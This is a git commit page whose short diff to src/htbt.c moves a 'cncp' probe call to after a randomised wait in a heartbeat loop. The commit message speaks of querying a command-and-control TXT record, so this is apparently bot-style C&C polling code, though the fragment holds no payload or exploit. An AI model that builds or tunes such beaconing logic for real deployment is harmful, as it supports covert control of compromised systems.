aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-10 13:17:25 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-10 13:17:25 +0930
commitc4160ed41717260b5941e2729c444b8ec051d5f0 (patch)
treeebff8d607109689adce32b25e02d294cd86c251d /src/htbt.c
parentbb797b9a405090d69cae75d2ef76cb797449886c (diff)
* Impl: rnd interface and WELL512
* cncp: query cnc txt rec after wait not before * In case the child keeps on dying
Diffstat (limited to 'src/htbt.c')
-rw-r--r--src/htbt.c4
1 files changed, 2 insertions, 2 deletions
diff --git a/src/htbt.c b/src/htbt.c
index 426f985..0a1b3f7 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -2057,8 +2057,6 @@ static void *htbt_cncp_entry (void *p) {
pth_event_t ev = NULL;
while (ctx->loop_flag) {
- htbt_cncp_do_probe(ctx);
-
// calc interval variance
intvar = 0; // ignore failure of mbedtls_ctr_drbg_random()
mbedtls_ctr_drbg_random(
@@ -2078,6 +2076,8 @@ static void *htbt_cncp_entry (void *p) {
pth_cond_await(&ctx->cncp.cond, &ctx->cncp.lock, ev);
}
pth_mutex_release(&ctx->cncp.lock);
+
+ htbt_cncp_do_probe(ctx);
}
pth_event_free(ev, FALSE);